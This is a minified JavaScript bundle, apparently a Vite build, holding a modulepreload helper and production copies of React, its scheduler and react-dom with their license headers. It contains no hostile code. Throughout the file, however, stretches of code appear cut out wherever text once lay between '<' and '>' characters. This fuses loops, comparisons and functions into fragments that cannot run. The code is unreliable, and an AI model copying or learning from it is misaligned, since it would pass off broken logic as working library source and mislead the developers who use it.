var YS=Object.defineProperty;var GS=(e,t,n)=>t in e?YS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var vf=(e,t,n)=>GS(e,typeof t!="symbol"?t+"":t,n);function XS(e,t){for(var n=0;nr[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const a of i)if(a.type==="childList")for(const o of a.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&r(o)}).observe(document,{childList:!0,subtree:!0});function n(i){const a={};return i.integrity&&(a.integrity=i.integrity),i.referrerPolicy&&(a.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?a.credentials="include":i.crossOrigin==="anonymous"?a.credentials="omit":a.credentials="same-origin",a}function r(i){if(i.ep)return;i.ep=!0;const a=n(i);fetch(i.href,a)}})();function Lr(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var D2={exports:{}},Ru={},R2={exports:{}},je={};/** * @license React * react.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var Wo=Symbol.for("react.element"),ZS=Symbol.for("react.portal"),QS=Symbol.for("react.fragment"),JS=Symbol.for("react.strict_mode"),ez=Symbol.for("react.profiler"),tz=Symbol.for("react.provider"),nz=Symbol.for("react.context"),rz=Symbol.for("react.forward_ref"),iz=Symbol.for("react.suspense"),az=Symbol.for("react.memo"),sz=Symbol.for("react.lazy"),gv=Symbol.iterator;function oz(e){return e===null||typeof e!="object"?null:(e=gv&&e[gv]||e["@@iterator"],typeof e=="function"?e:null)}var $2={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},B2=Object.assign,F2={};function rs(e,t,n){this.props=e,this.context=t,this.refs=F2,this.updater=n||$2}rs.prototype.isReactComponent={};rs.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};rs.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function W2(){}W2.prototype=rs.prototype;function vh(e,t,n){this.props=e,this.context=t,this.refs=F2,this.updater=n||$2}var gh=vh.prototype=new W2;gh.constructor=vh;B2(gh,rs.prototype);gh.isPureReactComponent=!0;var yv=Array.isArray,U2=Object.prototype.hasOwnProperty,yh={current:null},V2={key:!0,ref:!0,__self:!0,__source:!0};function H2(e,t,n){var r,i={},a=null,o=null;if(t!=null)for(r in t.ref!==void 0&&(o=t.ref),t.key!==void 0&&(a=""+t.key),t)U2.call(t,r)&&!V2.hasOwnProperty(r)&&(i[r]=t[r]);var l=arguments.length-2;if(l===1)i.children=n;else if(1>>1,X=R[H];if(0>>1;Hi(ge,$))xei(Y,ge)?(R[H]=Y,R[xe]=$,H=xe):(R[H]=ge,R[ue]=$,H=ue);else if(xei(Y,$))R[H]=Y,R[xe]=$,H=xe;else break e}}return W}function i(R,W){var $=R.sortIndex-W.sortIndex;return $!==0?$:R.id-W.id}if(typeof performance=="object"&&typeof performance.now=="function"){var a=performance;e.unstable_now=function(){return a.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],u=[],d=1,f=null,m=3,h=!1,x=!1,g=!1,y=typeof setTimeout=="function"?setTimeout:null,v=typeof clearTimeout=="function"?clearTimeout:null,b=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function w(R){for(var W=n(u);W!==null;){if(W.callback===null)r(u);else if(W.startTime<=R)r(u),W.sortIndex=W.expirationTime,t(c,W);else break;W=n(u)}}function j(R){if(g=!1,w(R),!x)if(n(c)!==null)x=!0,M(k);else{var W=n(u);W!==null&&F(j,W.startTime-R)}}function k(R,W){x=!1,g&&(g=!1,v(z),z=-1),h=!0;var $=m;try{for(w(W),f=n(c);f!==null&&(!(f.expirationTime>W)||R&&!O());){var H=f.callback;if(typeof H=="function"){f.callback=null,m=f.priorityLevel;var X=H(f.expirationTime<=W);W=e.unstable_now(),typeof X=="function"?f.callback=X:f===n(c)&&r(c),w(W)}else r(c);f=n(c)}if(f!==null)var se=!0;else{var ue=n(u);ue!==null&&F(j,ue.startTime-W),se=!1}return se}finally{f=null,m=$,h=!1}}var S=!1,N=null,z=-1,_=5,A=-1;function O(){return!(e.unstable_now()-A<_)}function P(){if(N!==null){var R=e.unstable_now();A=R;var W=!0;try{W=N(!0,R)}finally{W?I():(S=!1,N=null)}}else S=!1}var I;if(typeof b=="function")I=function(){b(P)};else if(typeof MessageChannel<"u"){var U=new MessageChannel,D=U.port2;U.port1.onmessage=P,I=function(){D.postMessage(null)}}else I=function(){y(P,0)};function M(R){N=R,S||(S=!0,I())}function F(R,W){z=y(function(){R(e.unstable_now())},W)}e.unstable_IdlePriority=5,e.unstable_ImmediatePriority=1,e.unstable_LowPriority=4,e.unstable_NormalPriority=3,e.unstable_Profiling=null,e.unstable_UserBlockingPriority=2,e.unstable_cancelCallback=function(R){R.callback=null},e.unstable_continueExecution=function(){x||h||(x=!0,M(k))},e.unstable_forceFrameRate=function(R){0>R||125H?(R.sortIndex=$,t(u,R),n(c)===null&&R===n(u)&&(g?(v(z),z=-1):g=!0,F(j,$-H))):(R.sortIndex=X,t(c,R),x||h||(x=!0,M(k))),R},e.unstable_shouldYield=O,e.unstable_wrapCallback=function(R){var W=m;return function(){var $=m;m=W;try{return R.apply(this,arguments)}finally{m=$}}}})(Z2);X2.exports=Z2;var gz=X2.exports;/** * @license React * react-dom.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var yz=p,ln=gz;function Q(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Sp=Object.prototype.hasOwnProperty,bz=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,wv={},jv={};function wz(e){return Sp.call(jv,e)?!0:Sp.call(wv,e)?!1:bz.test(e)?jv[e]=!0:(wv[e]=!0,!1)}function jz(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function kz(e,t,n,r){if(t===null||typeof t>"u"||jz(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function Bt(e,t,n,r,i,a,o){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=a,this.removeEmptyString=o}var Ct={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){Ct[e]=new Bt(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];Ct[t]=new Bt(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){Ct[e]=new Bt(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){Ct[e]=new Bt(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){Ct[e]=new Bt(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){Ct[e]=new Bt(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){Ct[e]=new Bt(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){Ct[e]=new Bt(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){Ct[e]=new Bt(e,5,!1,e.toLowerCase(),null,!1,!1)});var jh=/[\-:]([a-z])/g;function kh(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(jh,kh);Ct[t]=new Bt(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(jh,kh);Ct[t]=new Bt(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(jh,kh);Ct[t]=new Bt(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){Ct[e]=new Bt(e,1,!1,e.toLowerCase(),null,!1,!1)});Ct.xlinkHref=new Bt("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){Ct[e]=new Bt(e,1,!1,e.toLowerCase(),null,!0,!0)});function Nh(e,t,n,r){var i=Ct.hasOwnProperty(t)?Ct[t]:null;(i!==null?i.type!==0:r||!(2l||i[o]!==a[l]){var c=` `+i[o].replace(" at new "," at ");return e.displayName&&c.includes("")&&(c=c.replace("",e.displayName)),c}while(1<=o&&0<=l);break}}}finally{bf=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?Fs(e):""}function Nz(e){switch(e.tag){case 5:return Fs(e.type);case 16:return Fs("Lazy");case 13:return Fs("Suspense");case 19:return Fs("SuspenseList");case 0:case 2:case 15:return e=wf(e.type,!1),e;case 11:return e=wf(e.type.render,!1),e;case 1:return e=wf(e.type,!0),e;default:return""}}function Ep(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case ya:return"Fragment";case ga:return"Portal";case zp:return"Profiler";case Sh:return"StrictMode";case Cp:return"Suspense";case Pp:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case ew:return(e.displayName||"Context")+".Consumer";case J2:return(e._context.displayName||"Context")+".Provider";case zh:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case Ch:return t=e.displayName||null,t!==null?t:Ep(e.type)||"Memo";case Kr:t=e._payload,e=e._init;try{return Ep(e(t))}catch{}}return null}function Sz(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return Ep(t);case 8:return t===Sh?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function mi(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function nw(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function zz(e){var t=nw(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var i=n.get,a=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(o){r=""+o,a.call(this,o)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(o){r=""+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function xl(e){e._valueTracker||(e._valueTracker=zz(e))}function rw(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=nw(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function gc(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function Ap(e,t){var n=t.checked;return Ge({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function Nv(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=mi(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function iw(e,t){t=t.checked,t!=null&&Nh(e,"checked",t,!1)}function _p(e,t){iw(e,t);var n=mi(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?Op(e,t.type,n):t.hasOwnProperty("defaultValue")&&Op(e,t.type,mi(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function Sv(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function Op(e,t,n){(t!=="number"||gc(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var Ws=Array.isArray;function Ta(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i"+t.valueOf().toString()+"",t=vl.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function io(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var Ys={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},Cz=["Webkit","ms","Moz","O"];Object.keys(Ys).forEach(function(e){Cz.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),Ys[t]=Ys[e]})});function lw(e,t,n){return t==null||typeof t=="boolean"||t===""?"":n||typeof t!="number"||t===0||Ys.hasOwnProperty(e)&&Ys[e]?(""+t).trim():t+"px"}function cw(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,i=lw(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,i):e[n]=i}}var Pz=Ge({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Lp(e,t){if(t){if(Pz[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(Q(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(Q(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(Q(61))}if(t.style!=null&&typeof t.style!="object")throw Error(Q(62))}}function Ip(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Dp=null;function Ph(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var Rp=null,Ma=null,La=null;function Pv(e){if(e=Ho(e)){if(typeof Rp!="function")throw Error(Q(280));var t=e.stateNode;t&&(t=Uu(t),Rp(e.stateNode,e.type,t))}}function uw(e){Ma?La?La.push(e):La=[e]:Ma=e}function dw(){if(Ma){var e=Ma,t=La;if(La=Ma=null,Pv(e),t)for(e=0;e>>=0,e===0?32:31-($z(e)/Bz|0)|0}var gl=64,yl=4194304;function Us(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function jc(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,i=e.suspendedLanes,a=e.pingedLanes,o=n&268435455;if(o!==0){var l=o&~i;l!==0?r=Us(l):(a&=o,a!==0&&(r=Us(a)))}else o=n&~i,o!==0?r=Us(o):a!==0&&(r=Us(a));if(r===0)return 0;if(t!==0&&t!==r&&!(t&i)&&(i=r&-r,a=t&-t,i>=a||i===16&&(a&4194240)!==0))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0n;n++)t.push(e);return t}function Uo(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-$n(t),e[t]=n}function Vz(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0=Xs),Dv=" ",Rv=!1;function _w(e,t){switch(e){case"keyup":return gC.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Ow(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var ba=!1;function bC(e,t){switch(e){case"compositionend":return Ow(t);case"keypress":return t.which!==32?null:(Rv=!0,Dv);case"textInput":return e=t.data,e===Dv&&Rv?null:e;default:return null}}function wC(e,t){if(ba)return e==="compositionend"||!Ih&&_w(e,t)?(e=Ew(),nc=Th=Qr=null,ba=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=Wv(n)}}function Iw(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?Iw(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function Dw(){for(var e=window,t=gc();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=gc(e.document)}return t}function Dh(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function AC(e){var t=Dw(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&Iw(n.ownerDocument.documentElement,n)){if(r!==null&&Dh(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var i=n.textContent.length,a=Math.min(r.start,i);r=r.end===void 0?a:Math.min(r.end,i),!e.extend&&a>r&&(i=r,r=a,a=i),i=Uv(n,a);var o=Uv(n,r);i&&o&&(e.rangeCount!==1||e.anchorNode!==i.node||e.anchorOffset!==i.offset||e.focusNode!==o.node||e.focusOffset!==o.offset)&&(t=t.createRange(),t.setStart(i.node,i.offset),e.removeAllRanges(),a>r?(e.addRange(t),e.extend(o.node,o.offset)):(t.setEnd(o.node,o.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,wa=null,Vp=null,Qs=null,Hp=!1;function Vv(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;Hp||wa==null||wa!==gc(r)||(r=wa,"selectionStart"in r&&Dh(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),Qs&&uo(Qs,r)||(Qs=r,r=Sc(Vp,"onSelect"),0Na||(e.current=Zp[Na],Zp[Na]=null,Na--)}function De(e,t){Na++,Zp[Na]=e.current,e.current=t}var hi={},Ot=bi(hi),Kt=bi(!1),qi=hi;function Ua(e,t){var n=e.type.contextTypes;if(!n)return hi;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i={},a;for(a in n)i[a]=t[a];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function qt(e){return e=e.childContextTypes,e!=null}function Cc(){Be(Kt),Be(Ot)}function Zv(e,t,n){if(Ot.current!==hi)throw Error(Q(168));De(Ot,t),De(Kt,n)}function Kw(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var i in r)if(!(i in t))throw Error(Q(108,Sz(e)||"Unknown",i));return Ge({},n,r)}function Pc(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||hi,qi=Ot.current,De(Ot,e),De(Kt,Kt.current),!0}function Qv(e,t,n){var r=e.stateNode;if(!r)throw Error(Q(169));n?(e=Kw(e,t,qi),r.__reactInternalMemoizedMergedChildContext=e,Be(Kt),Be(Ot),De(Ot,e)):Be(Kt),De(Kt,n)}var hr=null,Vu=!1,Lf=!1;function qw(e){hr===null?hr=[e]:hr.push(e)}function WC(e){Vu=!0,qw(e)}function wi(){if(!Lf&&hr!==null){Lf=!0;var e=0,t=Ae;try{var n=hr;for(Ae=1;e>=o,i-=o,vr=1<<32-$n(t)+i|n<z?(_=N,N=null):_=N.sibling;var A=m(v,N,w[z],j);if(A===null){N===null&&(N=_);break}e&&N&&A.alternate===null&&t(v,N),b=a(A,b,z),S===null?k=A:S.sibling=A,S=A,N=_}if(z===w.length)return n(v,N),Ve&&Ei(v,z),k;if(N===null){for(;zz?(_=N,N=null):_=N.sibling;var O=m(v,N,A.value,j);if(O===null){N===null&&(N=_);break}e&&N&&O.alternate===null&&t(v,N),b=a(O,b,z),S===null?k=O:S.sibling=O,S=O,N=_}if(A.done)return n(v,N),Ve&&Ei(v,z),k;if(N===null){for(;!A.done;z++,A=w.next())A=f(v,A.value,j),A!==null&&(b=a(A,b,z),S===null?k=A:S.sibling=A,S=A);return Ve&&Ei(v,z),k}for(N=r(v,N);!A.done;z++,A=w.next())A=h(N,v,z,A.value,j),A!==null&&(e&&A.alternate!==null&&N.delete(A.key===null?z:A.key),b=a(A,b,z),S===null?k=A:S.sibling=A,S=A);return e&&N.forEach(function(P){return t(v,P)}),Ve&&Ei(v,z),k}function y(v,b,w,j){if(typeof w=="object"&&w!==null&&w.type===ya&&w.key===null&&(w=w.props.children),typeof w=="object"&&w!==null){switch(w.$$typeof){case hl:e:{for(var k=w.key,S=b;S!==null;){if(S.key===k){if(k=w.type,k===ya){if(S.tag===7){n(v,S.sibling),b=i(S,w.props.children),b.return=v,v=b;break e}}else if(S.elementType===k||typeof k=="object"&&k!==null&&k.$$typeof===Kr&&tg(k)===S.type){n(v,S.sibling),b=i(S,w.props),b.ref=zs(v,S,w),b.return=v,v=b;break e}n(v,S);break}else t(v,S);S=S.sibling}w.type===ya?(b=Wi(w.props.children,v.mode,j,w.key),b.return=v,v=b):(j=uc(w.type,w.key,w.props,null,v.mode,j),j.ref=zs(v,b,w),j.return=v,v=j)}return o(v);case ga:e:{for(S=w.key;b!==null;){if(b.key===S)if(b.tag===4&&b.stateNode.containerInfo===w.containerInfo&&b.stateNode.implementation===w.implementation){n(v,b.sibling),b=i(b,w.children||[]),b.return=v,v=b;break e}else{n(v,b);break}else t(v,b);b=b.sibling}b=Uf(w,v.mode,j),b.return=v,v=b}return o(v);case Kr:return S=w._init,y(v,b,S(w._payload),j)}if(Ws(w))return x(v,b,w,j);if(ws(w))return g(v,b,w,j);zl(v,w)}return typeof w=="string"&&w!==""||typeof w=="number"?(w=""+w,b!==null&&b.tag===6?(n(v,b.sibling),b=i(b,w),b.return=v,v=b):(n(v,b),b=Wf(w,v.mode,j),b.return=v,v=b),o(v)):n(v,b)}return y}var Ha=Zw(!0),Qw=Zw(!1),_c=bi(null),Oc=null,Ca=null,Fh=null;function Wh(){Fh=Ca=Oc=null}function Uh(e){var t=_c.current;Be(_c),e._currentValue=t}function em(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function Da(e,t){Oc=e,Fh=Ca=null,e=e.dependencies,e!==null&&e.firstContext!==null&&(e.lanes&t&&(Wt=!0),e.firstContext=null)}function Nn(e){var t=e._currentValue;if(Fh!==e)if(e={context:e,memoizedValue:t,next:null},Ca===null){if(Oc===null)throw Error(Q(308));Ca=e,Oc.dependencies={lanes:0,firstContext:e}}else Ca=Ca.next=e;return t}var Ii=null;function Vh(e){Ii===null?Ii=[e]:Ii.push(e)}function Jw(e,t,n,r){var i=t.interleaved;return i===null?(n.next=n,Vh(t)):(n.next=i.next,i.next=n),t.interleaved=n,Sr(e,r)}function Sr(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var qr=!1;function Hh(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function e5(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function wr(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function si(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,Ne&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,Sr(e,n)}return i=r.interleaved,i===null?(t.next=t,Vh(r)):(t.next=i.next,i.next=t),r.interleaved=t,Sr(e,n)}function ic(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Ah(e,n)}}function ng(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var 